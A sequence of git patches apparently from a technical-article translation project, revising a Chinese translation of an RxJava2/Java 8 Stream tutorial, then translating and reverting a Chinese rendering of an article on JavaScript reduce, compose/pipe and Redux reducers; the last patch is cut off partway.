+答案：一条很窄的小河，或者源源不断流动的液体、空气、气体。在编程的时候把数据转化成“流”的形式，比如我有一个字符串，但是我想把它变成“流”来使用的话我需要干些什么，我需要创建一个机制，使这个字符串满足“源源不断流动的液体、空气、气体 {**或者数据**}”的定义。问题是，我们为什么想要自己的数据变成“流”呢，下面是个简单的例子。
 
 就像下面这幅图中画的那样，我有一杯混合着大大小小石子的蓝色的水。
 
@@ -90,9 +89,9 @@ Stream:
 
 把水转换成水流后，我们做了很多事情。我先用一个过滤器去掉了大石子，然后用另一个过滤器去掉了小石子， 最后用一个转换器（map）把水的颜色从蓝色变成黑色。
 
-当我将数据转换成流时，我将在编程中得到同样的好处。现在，我将把这个例子转换成代码。我要显示的代码是真正的代码。可能示例代码不能工作，但我将要使用的操作符和API是真实的，我们将在后面的实例中使用。所以，同志们不要把关注点放在编译上。通过这个例子，我有一种感觉，我们将很容易地把握这些概念。在这个例子中，重要的一点是，我使用Java8 的 Stream API 而不是 Rx API。我不想让事情变困难，但稍后我也会使用 Rx。
+当我将数据转换成流时，我将在编程中得到同样的好处。现在，我将把这个例子转换成代码。我要显示的代码是真正的代码。可能示例代码不能工作，但我将要使用的操作符和 API 是真实的，我们将在后面的实例中使用。所以，同志们不要把关注点放在编译上。通过这个例子，我有一种感觉，我们将很容易地把握这些概念。在这个例子中，重要的一点是，我使用 Java8 的 Stream API 而不是 Rx API。我不想让事情变困难，但稍后我也会使用 Rx。
 
-图像中的水 和 代码中的水：
+图像中的水 & 代码中的水：
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_1-300x253.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_1.jpg)
 
@@ -107,36 +106,22 @@ public static void main(String [] args){
 ```
 
 输出:
-
 water
-
 water
-
 big stone
-
 water
-
 water
-
 small stone
-
 water
-
 small stone
-
 small stone
-
 water
-
 water
-
 water
-
 water
-
 water
 
-图像中的水流 和 代码中的水流：
+图像中的水流 & 代码中的水流：
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_2-237x300.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_2.jpg)
 
@@ -150,7 +135,7 @@ public static void main(String[] args) {
 //输出和上面那个一样
 ```
 
-图像中的“大石子过滤器” 和 代码中的“大石子过滤器”：
+图像中的“大石子过滤器” & 代码中的“大石子过滤器”：
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_3-300x252.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_3.jpg)
 
@@ -167,13 +152,13 @@ private static Predicate<String> BigStoneFilter  = new Predicate<String>() {
 };
 ```
 
-正如我们在 [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md) 已经知道的，任何函数式接口都可以转换成 Lambda 表达式。把上面的代码转换成 Lambda 表达式：
+正如我们在 [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md) 所学到的，任何函数式接口都可以转换成 Lambda 表达式。把上面的代码转换成 Lambda 表达式：
 
 ```
 private static Predicate<String> BigStoneFilter  = s -> !s.equals("big stone");
 ```
 
-图像中和代码中作用在水流上的”大石子过滤器“：
+图像和代码中的作用在水流上的“大石子过滤器”：
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_4-204x300.jpeg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_4.jpeg)
 
@@ -189,36 +174,23 @@ private static Predicate<String> BigStoneFilter  = s -> !s.equals("big stone");
 ```
 
 这里我使用了 forEach 方法，暂时把这当作流上的 for 循环。用在这里仅仅是为了输出。除去没有这个方法，我们也已经实现了我们在图像中表示的内容。是时候看看输出了：
-
 water
-
 water
-
 water
-
 water
-
 small stone
-
 water
-
 small stone
-
 small stone
-
 water
-
 water
-
 water
-
 water
-
 water
 
 没有大石子了，这意味着我们成功过滤了水。
 
-图像中的“小石子过滤器” 和 代码中的“小石子过滤器”：
+图像中的“小石子过滤器” & 代码中的“小石子过滤器”：
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_5-300x229.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_5.jpg)
 
@@ -226,7 +198,7 @@ water
 private static Predicate<String> SmallStoneFilter  = s -> !s.equals("small stone");
 ```
 
-在图像和代码中使用”小石子过滤器“：
+在图像和代码中使用“小石子过滤器”：
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_6-228x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_6.png)
 
@@ -246,32 +218,23 @@ private static Predicate<String> SmallStoneFilter  = s -> !s.equals("small stone
 我不打算解释 **SmallStoneFilter**，它的实现和 **BigStoneFilter** 是一样一样的。这里我只展示输出。
 
 water
-
 water
-
 water
-
 water
-
 water
-
 water
-
 water
-
 water
-
 water
-
 water
 
-图像中的”水颜色转换器“ 和 代码中的”水颜色转换器“
+图像中的“水颜色转换器” 和 代码中的“水颜色转换器”
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_7-300x171.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_7.jpg)
 
 同志们这里需要注意！
 
-在 Java8 Stream 中有个叫做 Function 的函数式接口。所以，当我想进行转换的时候，需要把这个函数式接口送到流的转换（map）函数里面。现在，我给大家展示在我们的代码中如何创建“水颜色过滤器”。
+在 Java8 Stream 中有个叫做 Function 的函数式接口。所以，当我想进行转换的时候，需要把这个函数式接口送到流的转换（map）函数里面。现在，我给大家展示在我们的代码中如何创建“水颜色转换器”。
 
 ```
 private static Function<String, String > convertWaterColour = new Function<String, String>() {
@@ -316,25 +279,15 @@ private static Function<String, String> convertWaterColour = s -> s + " black";
 ```
 
 输出:
-
 water black
-
 water black
-
 water black
-
 water black
-
 water black
-
 water black
-
 water black
-
 water black
-
 water black
-
 water black
 
 完活！现在我们再次回顾一些内容。
@@ -567,13 +520,9 @@ protected void onCreate(Bundle savedInstanceState) {
 ```
 
 输出:
-
 03-12 16:13:32.432 14918-14918/async.waleed.rx I/Android: 1
-
 03-12 16:13:32.432 14918-14918/async.waleed.rx I/Android: 4
-
 03-12 16:13:32.432 14918-14918/async.waleed.rx I/Android: 9
-
 03-12 16:13:32.432 14918-14918/async.waleed.rx I/Android: 16
 
 ```
@@ -605,7 +554,8 @@ Observable.fromArray(data)
 
 我在一个项目中使用了 [OnBoarding](https://www.google.com/search?q=onboarding+ui&amp) 界面，根据 UI 设计需要在每个 OnBoarding 界面上显示点点，如下图所示：
 
-[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_15-300x287.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_15.jpg)如果你观察得很仔细的话，可以看到我需要将选定的界面对应的点设置成黑色。
+[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_15-300x287.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_15.jpg)
+如果你观察得很仔细的话，可以看到我需要将选定的界面对应的点设置成黑色。
 
 命令式编程的代码：
 
@@ -767,7 +717,7 @@ Observable.range(0, 10)
 
 **总结：**
 
-同志们干得好！今天我们学 Rx Android 学得很开心。我们从图画开始，然后使用了 Java8 的流（Stream）。之后将 Java8 的流转换到 RxJava 2 Android 的 Observable。再之后，我们看到了真实项目中的示例并且展示了在现有的项目中如何开始使用 Rx。最后，我展示了一些转换到 Rx 的技巧：把循环用 forEach 替换，把 if 换成 filter，用 map 进行数据转化，用 flatmap 代替嵌套的循环。下篇文章： [Dialogue between Rx Observable and a Developer (Me) [ Android RxJava2 ] ( What the hell is this ) Part5](http://www.uwanttolearn.com/android/dialogue-rx-observable-developer-android-rxjava2-hell-part5/).
+同志们干得好！今天我们学 Rx Android 学得很开心。我们从图画开始，然后使用了 Java8 的流（Stream）。之后将 Java8 的流转换到 RxJava 2 Android 的 Observable。再之后，我们看到了实际项目中的示例并且展示了在现有的项目中如何开始使用 Rx。最后，我展示了一些转换到 Rx 的技巧：把循环用 forEach 替换，把 if 换成 filter，用 map 进行数据转化，用 flatmap 代替嵌套的循环。下篇文章： [Dialogue between Rx Observable and a Developer (Me) [ Android RxJava2 ] ( What the hell is this ) Part5](http://www.uwanttolearn.com/android/dialogue-rx-observable-developer-android-rxjava2-hell-part5/).
 
 希望你们开心，同志们再见！
 

From f4f068d917286b48fc9ceb648b99c3a76304fb77 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E5=90=B4=E6=99=93=E5=86=9B?= <woo@softshot.local>
Date: Thu, 13 Apr 2017 14:18:42 +0800
Subject: [PATCH 152/638] reduce

---
 TODO/reduce-composing-software.md | 96 ++++++++++++++++---------------
 1 file changed, 49 insertions(+), 47 deletions(-)

diff --git a/TODO/reduce-composing-software.md b/TODO/reduce-composing-software.md
index 8baf2c381ad..312cc27ea78 100644
--- a/TODO/reduce-composing-software.md
+++ b/TODO/reduce-composing-software.md
@@ -4,18 +4,18 @@
 > * 译者：
 > * 校对者：
 
-# Reduce (Composing Software) #
+# Reduce (软件编写) (第五部分)#
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg">
 
-Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0)
+Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0) （译注：该图是用 PS 将烟雾处理成方块状后得到的效果，参见 [flickr](https://www.flickr.com/photos/68397968@N07/11432696204)。））
 
-> Note: This is part of the “Composing Software” series on learning functional programming and compositional software techniques in JavaScript ES6+ from the ground up. Stay tuned. There’s a lot more of this to come!
-> [< Previous](https://medium.com/javascript-scene/higher-order-functions-composing-software-5365cf2cbe99#.su6cmn4f7)  | [<< Start over at Part 1](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c#.2dfd6n6qe)  | [Next >](https://medium.com/javascript-scene/functors-categories-61e031bac53f#.4hqndcx22) 
+> 注意：这是 “软件编写” 系列文章的第四部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术（译注：关于软件可组合性的概念，参见维基百科 [Composability](https://en.wikipedia.org/wiki/Composability)）。后续还有更多精彩内容，敬请期待！
+> [<上一篇](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d#.w4y0mlpcs) | [<< 返回第一章](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c#.2dfd6n6qe)
 
-**Reduce** (aka: fold, accumulate) utility commonly used in functional programming that lets you iterate over a list, applying a function to an accumulated value and the next item in the list, until the iteration is complete and the accumulated value gets returned. Many useful things can be implemented with reduce. Frequently, it’s the most elegant way to do any non-trivial processing on a collection of items.
+在函数式编程中，**reduce**（也称为：fold，ccumulate）允许你在一个序列上迭代，并应用一个函数来处理预先声明的累积值和当前迭代到的元素。当迭代完成时，将返回这个累积值。许多其他有用的事物都可以通过 reduce 实现。多数时候，reduce 可以说是处理集合中元素最优雅的方式。
 
-Reduce takes a reducer function and an initial value, and returns the accumulated value. For `Array.prototype.reduce()`, the initial list is provided by `this`, so it's not one of the arguments:
+reduce 接受一个 reducer 函数以及一个初始值，最终返回一个累积值。对于 `Array.prototype.reduce()` 来说， 初始列表将由 `this` 指明， 所以列表本身不会作为该函数的参数：
 
 ```
 array.reduce(
@@ -24,28 +24,28 @@ array.reduce(
 ) => accumulator: Any
 ```
 
-Let’s sum an array:
+我们利用如下方式对一个数组进行求和:
 
 ```
 [2, 4, 6].reduce((acc, n) => acc + n, 0); // 12
 ```
 
-For each element in the array, the reducer is called and passed the accumulator and the current value. The reducer’s job is to “fold” the current value into the accumulated value somehow. How is not specified, and specifying how is the purpose of the reducer function. The reducer returns the new accumulated value, and `reduce()` moves on to the next value in the array. The reducer may need an initial value to start with, so most implementations take an initial value as a parameter.
+对于数组的每步迭代，reducer 函数都会被调用，并且向其传入了累积值和当前迭代到的数组元素。reducer 的职责在于以某种方式将当前迭代的元素 “合拢（fold）” 到累加值中。reducer 规定了 “合拢” 的手段和方式，完成了对当前元素的 “合拢” 后，reducer 将返回新的累加值，然后， `.reduce()` 将开始处理数组中的下一个元素。reducer 需要一个初始值才能开始工作，所以绝大多数的 `.reduce()` 实现都需要接收一个初始值作为参数。
 
-In the case of this summing reducer, the first time the reducer is called, `acc` starts at `0` (the value we passed to `.reduce()` as the second parameter). The reducer returns `0` + `2` (`2` was the first element in the array), which is `2`. For the next call, `acc = 2, n = 4` and the reducer returns the result of `2 + 4` (`6`). In the last iteration, `acc = 6, n = 6`, and the reducer returns `12`. Since the iteration is finished, `.reduce()` returns the final accumulated value, `12`.
+在求数组元素和一例中，reducer 函数第一次调用时，`acc` 将会以 `0` 值（该值是传入 `.reduce()` 方法的第二个参数）开始。然后，reducer 返回了 `0` + `2`（`2` 是数组的第一个元素）， 也就是返回了 `2` 作为新的累积值。下一步，`acc = 2, n = 4` 传入了 reducer，reducer返回了 `2 + 4`（`6`）。在最后一步迭代中，`acc = 6, n = 6`, reducer 返回了 `12`。迭代完成，`.reduce（）` 返回了最终的累积值 `12`。
 
-In this case, we passed in an anonymous reducing function, but we can abstract it and give it a name:
+在这一例子中，我们传入了一个匿名函数作为 reducer，但是我们也可以抽象出每次求和的过程为一个具名函数，这使得我们代码的复用成都更高：
 
 ```
 const summingReducer = (acc, n) => acc + n;
 [2, 4, 6].reduce(summingReducer, 0); // 12
 ```
 
-Normally, `reduce()` works left to right. In JavaScript, we also have `[].reduceRight()`, which works right to left. In other words, if you applied `.reduceRight()` to `[2, 4, 6]`, the first iteration would use `6` as the first value for `n`, and it would work its way back and finish with `2`.
+通常，`reduce` 的工作过程为由左向右。在 JavaScript 中，我们也有一个 `[].reduceRight()` （译注：[MDN -- Array.prototype.reduceRight()](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/ReduceRight)）方法来让 reduce 由右向左地工作。 具体说来，如果你对数组 `[2, 4, 6]` 应用 `.reduceRight()` ，第一个被迭代到的元素就将是 `6`，最后一个迭代到的元素就是 `2`。
 
-### Reduce is Versatile ###
+### 无所不能的 reduce ###
 
-Reduce is versatile. It’s easy to define `map()`, `filter()`, `forEach()` and lots of other interesting things using reduce:
+别吃惊，reduce 确实无所不能，你所熟悉的 `map()`，`filter()`，`forEach()` 以及其他函数都可借助于 reduce 来创建。
 
 **Map:**
 
@@ -55,7 +55,7 @@ const map = (fn, arr) => arr.reduce((acc, item, index, arr) => {
 }, []);
 ```
 
-For map, our accumulated value is a new array with a new element for each value in the original array. The new values are generated by applying the passed in mapping function (`fn`) to each element in the `arr` argument. We accumulate the new array by calling `fn` with the current element, and concatenating the result to the accumulator array, `acc`.
+对于 map 来说，我们的累积值就是一个新的数组对象，该数组对象中的每个元素都由原数组对应元素映射得到。累积数组中新的元素由传入 map 的映射函数（`fn`）所确定：对于当前迭代到的元素 `item`，我们通过 `fn` 计算出新的元素，并将其拼接入累加数组 `arr` 中。
 
 **Filter:**
 
@@ -65,37 +65,37 @@ const filter = (fn, arr) => arr.reduce((newArr, item) => {
 }, []);
 ```
 
-Filter works in much the same way as map, except that we take a predicate function and *conditionally* append the current value to the new array if the element passes the predicate check (`fn(item)` returns `true`).
+filter 的工作方式与 map 类似，只不过原数组的元素只有通过一个真值检测函数（predicate function）才能被送入新的累积数组中。亦即，相较于 map，filter 是**有条件**地选择元素到累积数组中，并且不会改变元素的值。
 
-For each of the above examples, you have a list of data, iterate over that data applying some function and folding the results into an accumulated value. Lots of applications spring to mind. But what if *your data is a list of functions?*
+上面几个例子，你处理的数据都是一些数值序列，你在数值序列上应用指定的函数迭代数据，并将结果合拢到累积值中。大多数应用都因此开始雏形初备，但是你想过这个问题没有：**假如你的序列是函数序列呢？**
 
 **Compose:**
 
-Reduce is also a convenient way to compose functions. Remember function composition: If you want to apply the function `f` to the result of `g` of `x` i.e., the composition, `f . g`, you could use the following JavaScript:
+reduce 也是实现函数组合的便捷渠道。假如你想用将函数 `g` 的输出作为函数 `f` 的输入，即组合这两个函数： `f . g`，那么你可以使用下面的 JavaScript 代码片，它没有任何的抽象：
 
 ```
 f(g(x))
 ```
 
-Reduce lets us abstract that process to work on any number of functions, so you could easily define a function that would represent:
+reduce 让我们能抽象出函数组合过程，从而让你也能轻易地实现更多层次的函数组合：
 
 ```
 f(g(h(x)))
 ```
 
-To make that happen, we’ll need to run reduce in reverse. That is, right-to-left, rather than left-to-right. Thankfully, JavaScript provides a `.reduceRight()` method:
+由于函数组合是由右向左的，我们就要使用上面提到的 `.reduceRight()` 方法来抽象函数组合过程：
 
 ```
 const compose = (...fns) => x => fns.reduceRight((v, f) => f(v), x);
 ```
 
-> Note: If JavaScript had not provided `[].reduceRight()`, you could still implement `reduceRight()` -- using `reduce()`. I'll leave it to adventurous readers to figure out how.
+> 注意：如果 JavaScript 的版本没有提供 `[].reduceRight()`，你可以借助于 `reduce` 实现该方法。该实现留给读者自己思考。
 
 **Pipe:**
 
-`compose()` is great if you want to represent the composition from the inside-out -- that is, in the math notation sense. But what if you want to think of it as a sequence of events?
+`compose()` 很好地描述了由内至外的组合过程，某种程度上，这是数学上的关于输入输出的组合。如果你想从事件发生顺序上来思考函数组合呢？
 
-Imagine we want to add `1` to a number and then double it. With `compose(), that would be:
+假设我们想要对一个数值加 `1`，然后对新得到的数值进行翻倍。如果是利用 `compose()`，就需要这么做：
 
 ```
 const add1 = n => n + 1;
@@ -110,15 +110,15 @@ add1ThenDouble(2); // 6
 // ((2 + 1 = 3) * 2 = 6)
 ```
 
-See the problem? The first step is listed last, so in order to understand the sequence, you’ll need to start at the bottom of the list and work your way backwards to the top.
+发现问题没有？第一步（加1操作）是 compose 序列上的最后一个元素，所以，`compose` 需要你自底向上地分析流程的执行。
 
-Or we can reduce left-to-right as you normally would, instead of right-to-left:
+如果我们以由左向右的方式进行 reduce 来创建函数组合，以示区别，我们用 `pipe` 来描述新的组合方式：
 
 ```
 const pipe = (...fns) => x => fns.reduce((v, f) => f(v), x);
 ```
 
-Now you can write `add1ThenDouble()` like this:
+现在，新的流程就可以这么撰写：
 
 ```
 const add1ThenDouble = pipe(
@@ -130,7 +130,7 @@ add1ThenDouble(2); // 6
 // ((2 + 1 = 3) * 2 = 6)
 ```
 
-This is important because sometimes if you compose backwards, you get a different result:
+你也看到了，在组合中，顺序是非常重要的，如果你调换了 `double` 和 `add1` 的顺序，你将得到截然不同的结果：
 
 ```
 const doubleThenAdd1 = pipe(
@@ -141,25 +141,25 @@ const doubleThenAdd1 = pipe(
 doubleThenAdd1(2); // 5
 ```
 
-We’ll go into more details on `compose()` and `pipe()` later. What you should understand right now is that `reduce()` is a very powerful tool, and you really need to learn it. Just be aware that if you get very tricky with reduce, some people may have a hard time following along.
+之后，我们还会讨论跟多的关于 `compose()` 和 `pipe()` 的细节。现在，你所要知道的只是，`reduce()` 是一个极为强大的工具，因此一定要掌握它。 如果在学习过程中遇到了挫折，也大可不必灰心，很多开发者都花了大量时间在 reduce 的学习上。
 
-### A Word on Redux ###
+### Redux 中的 reduce ###
 
-You may have heard the term “reducer” used to describe the important state update bits of Redux. As of this writing, Redux is the most popular state management library/architecture for web applications built using React and Angular (the latter via `ngrx/store`).
+你可能听说过 “reducer” 这个术语被用在了 [Redux](https://github.com/reactjs/redux) 的状态更新中。这篇文章撰写之时，对于使用了 React 或者 Angular 进行构建的 web 应用来说，Redux 是最流行的状态管理库/架构（Angualar 中的类 Redux 管理是 ngrx/store ）。
 
-Redux uses reducer functions to manage application state. A Redux-style reducer takes the current state and an action object and returns the new state:
+Redux 使用了 reducer 函数来管理应用状态。一个 Redux 风格的 reducer 接收一个当前应用状态 `state` 和 和交互对象 `action` 作为参数（译注：当前状态就相当于累积值，而 action 就相当于目前处理的元素），处理完成后，返回一个新的应用状态：
 
 ```
 reducer(state: Any, action: { type: String, payload: Any}) => newState: Any
 ```
 
-Redux has some reducer rules you need to keep in mind:
+Redux 的一些 reducer 规则需要你牢记在心：
 
-1. A reducer called with no parameters should return its valid initial state.
-2. If the reducer isn’t going to handle the action type, it still needs to return the state.
-3. Redux reducers **must be pure functions.**
+1. 一个 reducer 如果进行了无参调用，它要返回它的初始状态。
+2. 如果 reducer 操纵的 action 没有声明类型，他要返回当前状态。
+3. 最最重要的是，Redux reducer 必须是纯函数。
 
-Let’s rewrite our summing reducer as a Redux-style reducer that reduces over action objects:
+现在，我们以 Redux 风格重写上面的求和 reducer，该 reducer 的行为将由 action 类型决定：
 
 ```
 const ADD_VALUE = 'ADD_VALUE';
@@ -175,7 +175,9 @@ const summingReducer = (state = 0, action = {}) => {
 };
 ```
 
-The cool thing about Redux is that the reducers are just standard reducers that you can plug into any `reduce()` implementation which respects the reducer function signature, including `[].reduce()`. That means you can create an array of action objects and reduce over them to get a snapshot of state representing the same state you'd have if those same actions were dispatched to your store:
+关于 Redux 的一个非常美妙的事儿就是，其 reducer 都是标准的 reducer （译注：即接收 `accumulator` 和 `current` 两个参数的 reducer ），这意味着你将 Redux 中的 reducer 插入到任何现有的 `reduce()` 实现中去，比如最常用的 `[].reduce()`。以此为例，我们可以创建一个 action 对象的数组，并对其进行 reduce 操作，传入 `reduce()` 的将是我们定义好的 `summingReducer`，据此，我们获得一个状态快照。之后，一旦对 Redux 中的状态树（store）分派了同样的 action 序列，那么一定能俘获到相同的状态快照：
+
+The cool thing about Redux is that the reducers are just standard reducers that you can plug into any `reduce()` implementation which respects the reducer function signature, including `[].reduce()`.
 
 ```
 const actions = [
@@ -187,26 +189,26 @@ const actions = [
 actions.reduce(summingReducer, 0); // 3
 ```
 
-That makes unit testing Redux-style reducers a breeze.
+这使得对 Redux 风格的 reducer 的单元测试变得极为容易。
+
+### 总结 ###
 
-### Conclusion ###
+现在，你应该可以瞥见 recude 的强大甚至是无所不能了。它不只能帮助我们定义出 map 或者 filter，还是函数式编程中重要的工具，这个工具强大在它是一个基础工具，能够通过它构建出更多更强大的工具。
 
-You should be starting to see that reduce is an incredibly useful and versatile abstraction. It’s definitely a little trickier to understand than map or filter, but it is an essential tool in your functional programming utility belt — one you can use to make a lot of other great tools.
+[**下一篇: Functors（函子） & Categories（范畴） >**](https://medium.com/javascript-scene/functors-categories-61e031bac53f#.4hqndcx22)
 
-[**Next: Functors & Categories >**](https://medium.com/javascript-scene/functors-categories-61e031bac53f#.4hqndcx22)
 
-### Next Steps ###
+### 接下来 ###
 
-Want to learn more about functional programming in JavaScript?
+想学习更多 JavaScript 函数式编程吗？
 
-[Learn JavaScript with Eric Elliott](http://ericelliottjs.com/product/lifetime-access-pass/). If you’re not a member, you’re missing out!
+[跟着 Eric Elliott 学 Javacript](http://ericelliottjs.com/product/lifetime-access-pass/)，机不可失时不再来！
 
-[<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg">
-](https://ericelliottjs.com/product/lifetime-access-pass/) 
+[<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg">](https://ericelliottjs.com/product/lifetime-access-pass/)
 
-***Eric Elliott*** is the author of [*“Programming JavaScript Applications”*](http://pjabook.com)  (O’Reilly), and [*“Learn JavaScript with Eric Elliott”*](http://ericelliottjs.com/product/lifetime-access-pass/) . He has contributed to software experiences for **Adobe Systems, Zumba Fitness, The Wall Street Journal, ESPN, BBC, and top recording artists including Usher, Frank Ocean, Metallica**, and many more.
+**Eric Elliott** 是  [**“编写 JavaScript 应用”**](http://pjabook.com) （O’Reilly） 以及 [**“跟着 Eric Elliott 学 Javascript”**](http://ericelliottjs.com/product/lifetime-access-pass/) 两书的作者。他为许多公司和组织作过贡献，例如 **Adobe Systems**、**Zumba Fitness**、**The Wall Street Journal**、**ESPN** 和 **BBC** 等 , 也是很多机构的顶级艺术家，包括但不限于 **Usher**、**Frank Ocean** 以及 **Metallica**。
 
-*He spends most of his time in the San Francisco Bay Area with the most beautiful woman in the world.*
+大多数时间，他都在 San Francisco Bay Area，同这世上最美丽的女子在一起。
 
 ---
 

From 76137a1e95bcb09c9a9d061ce0a416e99a756ea9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E5=90=B4=E6=99=93=E5=86=9B?= <woo@softshot.local>
Date: Thu, 13 Apr 2017 14:23:43 +0800
Subject: [PATCH 153/638] reset

---
 TODO/reduce-composing-software.md | 96 +++++++++++++++----------------
 1 file changed, 47 insertions(+), 49 deletions(-)

diff --git a/TODO/reduce-composing-software.md b/TODO/reduce-composing-software.md
index 312cc27ea78..85591dbfa4e 100644
--- a/TODO/reduce-composing-software.md
+++ b/TODO/reduce-composing-software.md
@@ -4,18 +4,18 @@
 > * 译者：
 > * 校对者：
 
-# Reduce (软件编写) (第五部分)#
+# Reduce (Composing Software) #
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg">
 
-Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0) （译注：该图是用 PS 将烟雾处理成方块状后得到的效果，参见 [flickr](https://www.flickr.com/photos/68397968@N07/11432696204)。））
+Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0)
 
-> 注意：这是 “软件编写” 系列文章的第四部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术（译注：关于软件可组合性的概念，参见维基百科 [Composability](https://en.wikipedia.org/wiki/Composability)）。后续还有更多精彩内容，敬请期待！
-> [<上一篇](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d#.w4y0mlpcs) | [<< 返回第一章](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c#.2dfd6n6qe)
+> Note: This is part of the “Composing Software” series on learning functional programming and compositional software techniques in JavaScript ES6+ from the ground up. Stay tuned. There’s a lot more of this to come!
+> [< Previous](https://medium.com/javascript-scene/higher-order-functions-composing-software-5365cf2cbe99#.su6cmn4f7)  | [<< Start over at Part 1](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c#.2dfd6n6qe)  | [Next >](https://medium.com/javascript-scene/functors-categories-61e031bac53f#.4hqndcx22)
 
-在函数式编程中，**reduce**（也称为：fold，ccumulate）允许你在一个序列上迭代，并应用一个函数来处理预先声明的累积值和当前迭代到的元素。当迭代完成时，将返回这个累积值。许多其他有用的事物都可以通过 reduce 实现。多数时候，reduce 可以说是处理集合中元素最优雅的方式。
+**Reduce** (aka: fold, accumulate) utility commonly used in functional programming that lets you iterate over a list, applying a function to an accumulated value and the next item in the list, until the iteration is complete and the accumulated value gets returned. Many useful things can be implemented with reduce. Frequently, it’s the most elegant way to do any non-trivial processing on a collection of items.
 
-reduce 接受一个 reducer 函数以及一个初始值，最终返回一个累积值。对于 `Array.prototype.reduce()` 来说， 初始列表将由 `this` 指明， 所以列表本身不会作为该函数的参数：
+Reduce takes a reducer function and an initial value, and returns the accumulated value. For `Array.prototype.reduce()`, the initial list is provided by `this`, so it's not one of the arguments:
 
 ```
 array.reduce(
@@ -24,28 +24,28 @@ array.reduce(
 ) => accumulator: Any
 ```
 
-我们利用如下方式对一个数组进行求和:
+Let’s sum an array:
 
 ```
 [2, 4, 6].reduce((acc, n) => acc + n, 0); // 12
 ```
 
-对于数组的每步迭代，reducer 函数都会被调用，并且向其传入了累积值和当前迭代到的数组元素。reducer 的职责在于以某种方式将当前迭代的元素 “合拢（fold）” 到累加值中。reducer 规定了 “合拢” 的手段和方式，完成了对当前元素的 “合拢” 后，reducer 将返回新的累加值，然后， `.reduce()` 将开始处理数组中的下一个元素。reducer 需要一个初始值才能开始工作，所以绝大多数的 `.reduce()` 实现都需要接收一个初始值作为参数。
+For each element in the array, the reducer is called and passed the accumulator and the current value. The reducer’s job is to “fold” the current value into the accumulated value somehow. How is not specified, and specifying how is the purpose of the reducer function. The reducer returns the new accumulated value, and `reduce()` moves on to the next value in the array. The reducer may need an initial value to start with, so most implementations take an initial value as a parameter.
 
-在求数组元素和一例中，reducer 函数第一次调用时，`acc` 将会以 `0` 值（该值是传入 `.reduce()` 方法的第二个参数）开始。然后，reducer 返回了 `0` + `2`（`2` 是数组的第一个元素）， 也就是返回了 `2` 作为新的累积值。下一步，`acc = 2, n = 4` 传入了 reducer，reducer返回了 `2 + 4`（`6`）。在最后一步迭代中，`acc = 6, n = 6`, reducer 返回了 `12`。迭代完成，`.reduce（）` 返回了最终的累积值 `12`。
